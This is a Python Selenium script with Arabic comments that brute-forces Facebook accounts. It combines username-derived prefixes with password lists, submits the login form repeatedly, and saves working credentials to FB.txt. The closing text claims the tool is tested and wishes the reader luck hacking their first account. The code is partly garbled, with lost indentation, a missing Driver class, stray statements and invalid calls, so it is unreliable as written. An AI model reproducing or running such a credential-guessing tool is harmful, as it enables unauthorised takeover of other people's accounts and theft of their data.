from    selenium.webdriver.common.keys  import  Keys
from    selenium.webdriver    import  Firefox, FirefoxOptions, FirefoxProfile, Chrome, ChromeOptions
from    traceback   import  print_exc
from    time        import  ctime, sleep
from    os          import  listdir, getcwd, path, getlogin
from    re          import  findall
import random
import time
return
هنا جلب صفحة الدخول للفايس بوك
    def Login(self, username, password):
        usrnput = self.find_element_by_name('email')
        keynput = self.find_element_by_name('pass')
        lognput = self.find_element_by_name('login')
        usrnput.clear() ; usrnput.send_keys(username)
        keynput.clear() ; keynput.send_keys(password)
        print('\033[93m [ . ] Login usr = {} &&  key = {} \033[0m '.format(username, password), end='\r', flush=1)
        lognput.click()
        while 'Sending...':
            sleep(1)
            # Done
            if  findall(r'friends|id="page"', self.page_source) and not findall(r'type="password"', self.page_source):
                return print('[ + ]'),
            # Fail
            if  self.find_element_by_id('login_error').text:
                return print('[ - ]')
            if  findall(r'href="/recover/initiate/?ars=facebook_login_pw_error&email={}"'.format(username), self.page_source):
                return print('[ - ]')
هنا ادخال القيم في الفورم وتحليل ان كان صحيح او لا
def Save(self, data=''):
        with open('FB.txt', 'a', encoding='utf8') as file:
            file.write(data)
هنا قمنا بتسجيل المعلومات في ملف FB.txt
def pre_usrs(usr):
usr = usr.split('@')[0]
z = findall(r'[A-Za-z]+', usr)
return z[0] if z else usr
هذه الدالة تقوم باخد اسم الشخص من الاميل او اليوزرنيم يمكنك ازالتها ان لم تكن بحاجتها
def pre_keys(pswd):
global stop
lst = []
for _ in range(10):
try:
lst.append(next(pswd))
lst.strip()
except StopIteration:
stop = True
break
return lst
هنا نقوم بدمج الباسورد مع الاسم حتى تصل الى باسورد جيد
def main():
global stop
usrs = input('usrs: ')
pswd = open(input('keys: '))
data = []
stop = False
dr = Driver()
while not stop:
keys = open(pswd,"r")#pre_keys(pswd)
for usr in open(usrs):
usr = usr.strip()
if not usr or usr in data:
continue
kk = pre_usrs(usr)
for key in keys:
if not key:
continue
sleep(1)
key = kk + key
dr.Get()
if dr.Login(usr, key):
dr.Save('{};{}\n'.format(usr, key))
data.append(usr)
break
#dr.close()
#time.sleep(2)
#main()
if __name__ == '__main__':
try:
main()
except Exception as err:
print_exc()
input(':: END ::')
واخيرا حظ سعيد 😊 هذه الادات تم تجريبها وهي تعمل بشكل جيد
يمكنك التواصل معناواخبارنا ان نجحت ان تخترق اول حساب لك ام لا
لاشارة هذه الاداة تم تصميمها من طرف الاخ علي يمكنك التوصل معه عبر حسابه في مستقل https://mostaql.com/u/ali_elainous

